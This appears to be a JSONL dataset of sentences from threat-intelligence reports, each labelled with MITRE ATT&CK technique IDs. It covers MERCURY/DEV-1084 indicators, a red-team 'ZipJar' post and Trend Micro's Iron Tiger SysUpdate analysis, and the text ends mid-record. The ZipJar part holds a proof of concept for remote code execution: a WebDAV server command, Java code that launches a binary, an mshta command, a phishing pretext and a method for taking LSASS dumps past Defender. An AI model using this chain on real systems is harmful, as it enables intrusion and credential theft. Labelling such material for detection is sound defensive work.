control192.169.6[.]88Command and control192.52.167[.]209Command and controlwebstore4tech[.]uaenorth.cloudapp.azure[.]comCommand and controlvatacloud[.]comActor-owned Rport domain146.70.106[.]89DEV-1084 operators were observed sending threatening emails to the victim after the attack from 146.70.106[.]89, an IP address previously linked to MERCURYb9cf785b81778e2b805752c7b839737416e3af54f64f1e40e008142e382df0c4Rport Legit remote access toolrport.exeab179112caadaf138241c43c4a4dccc2e3c67aeb96a151e432cfbafa18a4b436Customized Ligolo tunneling tool46.249.35[.]243Command and control45.86.230[.]20Command and control6485a68ba1d335d16a1d158976e0cbfad7ab15b51de00c381d240e8b0c479f77db.ps1 Customized Script Backdoorb155c5b3a8f4c89ba74c5c5c03d029e4202510d0cbb5e152995ab91e6809bcd7db.sqlite Customized Obfuscated Script Backdoor NOTE:", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "These indicators should not be considered exhaustive for this observed activity.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Microsoft Defender Threat Intelligence Community members and customers can find summary information and all IOCs from this blog post in the linked Microsoft Defender Threat Intelligence article.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "References https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/ https://ehorus.com/ https://github.com/nicocha30/ligolo-ng https://www.openssh.com/ https://github.com/Gerenios/AADInternals/blob/master/AADSyncSettings.ps1#L97 The post MERCURY and DEV-1084: Destructive attack on hybrid environment appeared first on Microsoft Security Blog.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "ZipJar, a little bit unexpected attack chain The upcoming from the .zip", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "TLDs from Google brought some discussion about attack vectors.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "Most of those attack vectors are not completely new, like using an “@” to split between username and host.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "While playing a little bit around, an unexpected attack chain appeared, involving a .zip", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "TLD, Windows Explorer, WebDAV and a jar file.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "Some further reading and research: tl;dr Combining the following minor issues might cause RCE on a client.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "The Windows Explorer location bar, is also a search function If using a TLD, like .zip, the search will be online, if the file does not exist locally on PATH folders Windows Explorer will happily map a WebDAV folder directly .jar files circumvent the execution Blocker (untrusted Location), however a JRE must be installed Take me to the PoC Introduction While playing around with the newly .zip", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "domains some behavior from Windows Explorer was found, which might cause some RCE if a Java Runtime Environment (JRE) is installed.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "I name the behavior ZipJar.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "A jar full of zippers, symbol picture The Chain Windows Explorer The location bar in the Windows Explorer is also a Search Bar and can be used to find and open files.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "If a file is not found on disk and a domain name is used, it will search online.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "It seems, that the file must be in an on PATH folder, to get directly opened.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "With the introduction of the .zip TLDs this is getting quite interesting.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "So if you write the name of a zip file in the bar, it will open the default browser and go to that page.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "In the next procmon screenshot the flow can be seen: Procmon with pasting dbexport.zip in location bar At first the local on path folders are tested and if that fails the WebDAV Client is started and the dll loaded.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "I could never understand, why it should be a good idea to have a local search function doing things via the internet by default…", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "And as I know you guys, leave my .zip domain alone ;) WebDAV If we setup a WebDAV server at that specific .zip domain, in that case dbexport.zip , which can be easily set up via wsgidav wsgidav --port=80 --host=0.0.0.0", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "--root=. --auth", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "=anonymous the Windows Explorer will not spawn a new browser but will map the folder directly.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "an opened WebDAV folder As it can be seen in the screenshot, the URL changes a bit.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "Shown: Network (WORKGROUP) > http://dbexport.zip Resolved: \\\\dbexport.zip\\DavWWWRoot If we click an executable, we get a confirmation dialog, as the location is not trusted.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "an opened WebDAV folder Phew, so we are safe and this is some kind of not ideal behavior, but at least there is dialog with a warning.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "Bypassing execution blocking After playing with some file extensions, it turns out that this protection is not bulletproof.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "mild shock The execution of typical file types like: bat, chm, cmd, com, exe, hta, js, lnk, pif, ps1, vbs, wsh is indeed blocked.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "Note: Those files will still get executed, if the user clicks on run!", "labels": ["T1204.002"], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "If there are some custom application handlers registered, it seems that those tools do not have the same restriction.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "One example for this is the .jar filetype, meaning it is possible to execute Java code if the user has a JRE installed, which is quite often the case in business environment.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "This was tested by using the first jar file with a GUI found when googling. running a jar from the WebDAV Promising! Java Malware At this point I was afraid, that it might be necessary to write some Java Malware, like a shellcode loader.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "There are some quite old, but still promising approaches like How to Inject Shellcode from Java.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "Luckily, it turned out to be much simpler.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "Some Copy&Pasted code later a minimalistic and very simple approach to execute a binary was ready.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "import java.io.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "BufferedReader; import java.io.IOException; import java.io.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "InputStreamReader; public class HelloWorld { public static void main(String[] args) { // Ausgabe Hello World!", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "System.out.println(\"Hello World!\"); String command = \"calc.exe\"; try { Process process = Runtime.getRuntime().exec(command); BufferedReader reader = new BufferedReader( new InputStreamReader(process.getInputStream())); String line; while ((line = reader.readLine()) !", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "= null) { System.out.println(line); } BufferedReader errorReader = new BufferedReader( new InputStreamReader(process.getErrorStream())); while ((line = errorReader.readLine()) !", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "= null) { System.out.println(line); } errorReader.close(); reader.close(); } catch (IOException e) { e.printStackTrace(); } } } The interesting part is in line 13: String command = \"calc.exe\"; defining what to execute.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "So this will just pop a calculator under normal conditions.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "However, if a calc.exe is in the same folder, it will execute that binary, thanks Windows Search Path.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "To generate the jar a simple way without needing a manifest is thew following javac .\\HelloWorld.java jar cfe app.jar HelloWorld HelloWorld.class PoC By chaining all together, we get a nice simple flow here.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "Keep in mind, that a Java Runtime Environment must be installed!", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "The calc.exe is a custom binary, not the Windows calc.exe.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "Could be whatever you want / define in the java programm.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "As for the most attack chains that require user interaction, the story is important.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "A concept might be, as usual, the IT department sending an E-Mail.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "Hello Hans, your client is missing an update.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "We already copied the zip file to your client.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "However, as the update must run under your user context, you need to copy the following command in the Explorer location bar.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "dbexport.zip\\app.jar Thanks.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "Finding a better story is left as an exercise for the reader.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "Further notes Full path to file and hidden files By supplying a full path like dbexport.zip\\app.jar to the explorer location bar, the binary will immediately be executed.", "labels": ["T1564.001"], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "It seems, that it is somehow possible to hide some files in the folder, but this was buggy during my tests. running a jar from the WebDAV", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "However regarding the documentation from MS windows should support hidden files via WebDAV.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "Opening a WebDAV folder will also start the WebDAV service, which is quite famous to use for some ActiveDirectory privilege escalation with relaying to LDAP (RBCD).", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "mshta You can also run for example hta files from that WebDAV.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "By typing the command in the start menu an hta file will get executed without a warning.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "mshta \\\\dbexport.zip\\DavWWWRoot\\calc_hta.hta running a hta from the WebDAV Note, that HTA files are quite robust against syntax errors, the .hta ending is not necessary and also polyglots can easily be created.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "LSASS Dump A side effect of the WebDAV is, that the Defender is not going to delete files correctly on that shared folder.", "labels": ["T1003.001"], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "As LSASS dumps are nowadays recognized by the dump file itself this is a nice way to get your hands on the file.", "labels": ["T1003.001"], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "This will still trigger an alarm, so absolutely not OPSEC!", "labels": ["T1003.001"], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "LSASS dump in c:\\tmp detected and deleted", "labels": ["T1003.001"], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "Oh oh, something wrong with defender Something wrong for the Defender LSASS dump in the WebDAV detected, but file not deleted If you even want to improve this workflow, there is a great tool called PowerHub offering a BlackHole WebDAV, meaning the server will immediately move the file out of the WebDAV.", "labels": ["T1003.001"], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "Defense Block WebDAV communication Use Application restrictions like AppLocker or WDAC Monitor for the process java.exe spawning further binaries Conclusion This is not really a full chain attack for initial access at an RedTeam assessment", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": ", I still found this a little bit surprising and wanted to share.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "Feel free to reach out if you have questions, or and especially if you have some additional techniques which might apply here.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "Links Work and inspiration from others, thanks for that:", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "APT & Targeted Attacks Iron Tiger’s SysUpdate Reappears, Adds Linux Targeting We detail the update that advanced persistent threat (APT) group Iron Tiger made on the custom malware family SysUpdate.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "In this version, we also found components that enable the malware to compromise Linux systems.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "By: Daniel Lunghi March 01, 2023Read time: ( words) Save to Folio Subscribe Iron Tiger is an advanced persistent threat (APT) that has been focused primarily on cyberespionage for more than a decade.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "In 2022, we noticed that they updated SysUpdate, one of their custom malware families, to include new features and add malware infection support for the Linux platform.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "We found the oldest sample of this updated version in July 2022.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "At the time, we attributed the sample to Iron Tiger but had not yet identified the final payload.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "It was only after finding multiple similar payloads in late October 2022 that we looked further and found similarities with the SysUpdate malware family that had also been updated in 2021.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "As with the previous version, Iron Tiger had made the loading logic complex, probably in an attempt to evade security solutions.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "This new version has similar features to the 2021 version, except that the C++ run-time type information (RTTI) classes we previously observed in 2021 had been removed, and that the code structure was changed to use the ASIO C++ asynchronous library.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Both changes make reverse engineering the samples longer.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "We strongly advise organizations and users in the targeted industries to reinforce their security measures to defend their systems and stored information from this ongoing campaign.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Campaign development timeline These are the key dates for understanding the chronology of Iron Tiger’s operations: Apr. 2, 2022: Registration of the domain name linked to our oldest Windows sample of SysUpdate May 11, 2022:", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "The command and control (C&C) infrastructure was set up.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "June 8, 2022:", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "While this could have been tampered with, observed compilation date of our oldest Windows sample. July 20, 2022:", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Oldest Windows sample gets uploaded to Virus Total Oct. 24, 2022:", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Oldest Linux sample gets uploaded to Virus Total We observed that the attacker registered the oldest domain name one month before starting the C&C configuration then waited one more month before compiling the malicious sample linked to that domain name.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "We think the gap between the two updates allows the attackers to plan their operations accordingly.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Loading process We observed the loading process entailing the following steps: The attacker runs rc.exe, a legitimate “Microsoft Resource Compiler” signed file , which is vulnerable to a DLL side-loading vulnerability, and loads a file named rc.dll.", "labels": ["T1574.002"], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "The malicious rc.dll loads a file named rc.bin in memory.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "The rc.bin file is a Shikata Ga Nai encoded shellcode that decompresses and loads the first stage in memory.", "labels": ["T1027", "T1140"], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Depending on the number of command line parameters, different actions are performed: Zero or two parameters: “Installs” the malware in the system, and calls Stage 1 again via process hollowing with four parameters One parameter: Same as previous action but without the “installation” Four parameters: Creates a memory section with the DES-encrypted malware configuration and a second Shikata Ga Nai shellcode decompressing and loading Stage 2.", "labels": ["T1027", "T1055", "T1140"], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "It then runs Stage 2 via process hollowing.", "labels": ["T1055"], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "The “installation” step is considered simple wherein the malware moves the files to a hardcoded folder.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Depending on the privileges of the process, the malware either creates a registry key or a service that launches the moved executable rc.exe with one parameter.", "labels": ["T1112", "T1569.002"], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "This ensures that the malware will be launched during the next reboot, skipping the installation part.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Updated SysUpdate loading process routine We saw different legitimate executables being used, sideloading different DLL names, and multiple binary files names being loaded by those DLLs.", "labels": ["T1574.002"], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "We identified the executables and sideloaded files as follows:", "labels": ["T1574.002"], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "SysUpdate’s seemingly legitimate executables and their respective sideloaded files Legitimate application name Certificate signer Side-loaded DLL name Loaded binary file name INISafeWebSSO.exe Initech inicore_v2.3.30.dll inicore_v2.3.30.bin rc.exe Microsoft rcdll.dll rcdll.bin dlpumgr32.exe DESlock DLPPREM32.dll sv.bin GDFInstall.exe UBISOFT ENTERTAINMENT GameuxInstallHelper.DLL sysconfig.bin route-null.exe Wazuh libwazuhshared.dll wazuhext.bin route-null.exe Wazuh libwazuhshared.dll agent-config.bin wazuh-agent.exe Wazuh libwinpthread-1.dll wazuhext.bin We want to highlight that this is the first time we observed a threat actor abusing a sideloading vulnerability in a Wazuh signed executable.", "labels": ["T1574.002"], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Wazuh is a free and open source security platform, and we could confirm that one of the victims was using the legitimate Wazuh platform.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "It is highly likely that Iron Tiger specifically looked for this vulnerability to appear legitimate in the victim’s environment.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "We have notified the affected victim of this intrusion but received no feedback.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Malware features Looking at the features, several of the functions found in the latest update are similar to the previous SysUpdate version: Service manager (lists, starts, stops, and deletes services) Screenshot grab Process manager (browses and terminates processes) Drive information retrieval File manager (finds, deletes, renames, uploads, downloads a file, and browses a directory)", "labels": ["T1057", "T1059.003", "T1070.004", "T1083", "T1105", "T1113"], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Command execution Iron Tiger also added a feature that had not been seen before in this malware family:", "labels": ["T1059.003"], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "C&C communication through DNS TXT requests.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "While DNS is not supposed to be a communication protocol, the attacker abuses this protocol to send and receive information.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "C&C communication with DNS TXT records First, the malware retrieves the configured DNS servers by calling the GetNetworkParams API function and parsing the DnsServerList linked list.", "labels": ["T1106"], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "If this method fails, the malware uses the DNS server operated by Google at IP address 8.8.8.8.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "For the first request, the malware generates a random number of 32 bits and appends 0x2191 to it.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "This results in six bytes — four for the random number, two for 0x2191 — and encodes the result further with Base32 algorithm using the alphabet “abcdefghijklmnopqrstuvwxyz012345”.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Looking at Figure 2, the contacted domain name is after \"TXT\"; only the first four letters change as the rest of the encoded series is always the same.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "This is because the random number changes every time, but the end is the same “0x2191” result.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "This explains why the first DNS request always ends with “reeaaaaaa.”.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "If the C&C reply matches the format expected by the malware, it launches multiple threads that handle further commands and sends information about the infected machine.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Interestingly, the code related to this DNS C&C communication is only present in samples that use it, meaning that the builder is modular and that there might be samples in the wild with unreported features.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "We continue monitoring this group and malware family for updates on possible variations of C&C communication protocols being abused.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "In all versions, the malware retrieves information on the infected machine and sends it to the C&C encrypted with DES.", "labels": ["T1041", "T1573.001"], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Collected machine information includes the following: Randomly generated GUID Hostname Domain name Username User privileges Processor architecture Current process ID Operating system version Current file path Local IP address and port used to send the network packet The configuration is encrypted with a hardcoded DES key and is a few bytes long following the structure enumerated below: Table 2.", "labels": ["T1016", "T1033", "T1057", "T1082", "T1573.001"], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Configuration structure Field content Length (in bytes) Comment Example Header 4", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "We only found one value 0x00000001 GUID 38 Follows the Microsoft format {89D0E853-FA08-4f94-A5FE-A90E6869E074} Size of the C&C section 4 0x00000018 Size of the next C&C domain name and port 4 0x00000014 C&C type 1 0x01 = regular C&C 0x05", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "= DNS tunneling 0x00", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "= regular C&C 0x01 C&C domain name Variable dev.gitlabs.me Port number 4 0x00000050 Size of next section 4 Next section contains all the hardcoded names (folder, files, registry values) 0x00000034 Name of the hardcoded directory where files are copied Variable The folder is located either in % gtdcfp Name of the executable vulnerable to side loading Variable TextInputHost.exe Name of the malicious side-loaded DLL Variable rc.dll Name of the binary file containing the encoded Stage 1 Variable rc.bin Name of the service or registry key value used for persistence Variable gtdcfp We noted that Stage 2 does not embed the configuration file, which is copied in memory by the previous stage.", "labels": ["T1074.001", "T1574.002"], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "We only saw one case where there was only one stage being decrypted in memory and the configuration was hardcoded.", "labels": ["T1140"], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Interestingly, all the samples of this “new” version had a domain name as its C&C. In the previous version of SysUpdate, the group used hardcoded IP addresses as C&C. It is possible that this change is a consequence of the new DNS TXT records’ communication feature as it requires a domain name.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "SysUpdate samples for Linux While investigating SysUpdate’s infrastructure, we found some ELF files linked to some C&C servers.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "We analyzed them and concluded that the files were a SysUpdate version made for the Linux platform.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "The ELF samples were also written in C++, made use of the Asio library, shared common network encryption keys, and had many similar features.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "For example, the file handling functions are almost the same.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "It is possible that the developer made use of the Asio library because of its portability across multiple platforms.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Some parameters can be passed to the binary (note that “Boolean” refers to Boolean data that is sent to the C&C):", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Table 3.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Parameters passed to the binary as observed from Linux SysUpdate samples Parameter Effect -launch Sets persistence, zeroes boolean, and exits -run Zeroes boolean and continues -x Daemonize the process, zeroes boolean, and continues -i Daemonize the process, zeroes boolean, sets persistence, and continues -f Sets the GUID to and continues The persistence is ensured by copying a script similarly named as the current filename to the /usr/lib/systemd/system/ directory, and creating a symlink to this file in the /etc/ystem/system/multi-user.target.wants/ directory.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Thus, this method only works if the current process has root privileges.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "The content of the script is:", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "[Unit] Description=xxx [Service] Type=forking ExecStart= -x ExecStop=/usr/bin/id [Install] WantedBy=multi-user.target After running the code dependent on the parameters, if the operator has not chosen a GUID with the “-f” parameter, the malware generates a random GUID and writes it to a file similarly named as the current file, with a “d” appended to it.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Then, the malware retrieves information on the compromised computer and sends it to the C&C. The following information is sent to the C&C, encrypted with a hardcoded key and DES CBC algorithm: GUID Host name Username Local IP address and port used to send the request Current PID Kernel version and machine architecture Current file path Boolean (0 if it was launched with exactly one parameter, 1 otherwise)", "labels": ["T1041", "T1573.001"], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "For the DNS C&C communication version, the malware retrieves the configured DNS server by reading the content of the /etc/resolv.conf file, or uses the DNS server operated by Google at IP address 8.8.8.8.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "In 2022, we already noticed that this threat actor was interested in platforms other than Windows, with the rshell malware family running on Linux and Mac OS.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "For these reasons, we would not be surprised to see SysUpdate samples for the Mac OS platform in the future.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Interestingly, most of the Linux samples we found used the new DNS tunneling feature we detailed in Figure 2, while only one of the Windows’ samples used it.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Certificate compromise Another interesting part of this campaign is the fact that some of the malicious files are signed with a certificate with the following signer: “Permyakov Ivan Yurievich IP”.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Looking for that name in search engines brings results from the official VMProtect website.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "The email address linked to the Authenticode certificate also links to that domain name.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "VMProtect is a commercial software intended to make analysis of code extremely difficult by implementing a custom virtual machine with non-standard architecture.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "The software has been used by multiple APT and cybercrime groups in the past to obfuscate their malware.", "labels": ["T1027"], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "When searching on malware repositories for other files signed by the same certificate, we find multiple files named “VMProtectDemo.exe”, “VMProtect.exe”, or “VMProtect_Con.exe”, which suggests that an official demo version of VMProtect is also signed by this certificate.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "It appears that the threat actor managed to retrieve the private key allowing him to sign malicious code.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "As of this writing, the certificate is now revoked.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Using stolen certificates to sign malicious code is a common practice for this threat actor, as we already highlighted in 2015 and in all our recent investigations.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Interestingly, the threat actor not only signed some of its malicious executables with the stolen certificate, but also used VMProtect to obfuscate one of them.", "labels": ["T1027"], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "In late January 2023, a Redline stealer sample (detected by Trend Micro as TrojanSpy.Win32.REDLINE.YXDA1Z, SHA256: e24b29a1df287fe947018c33590a0b443d6967944b281b70fba7ea6556d00109) signed by the same certificate was uploaded.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "We do not believe that the stealer is linked to Iron Tiger, considering that the network infrastructure is different, and previous reports document the malware’s goals to be centered on committing cybercrime than data theft.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "This could mean other users managed to extract the same private key from the VMProtect demo version, or it was sold in the underground to different groups, Iron Tiger among them.", "labels": [], 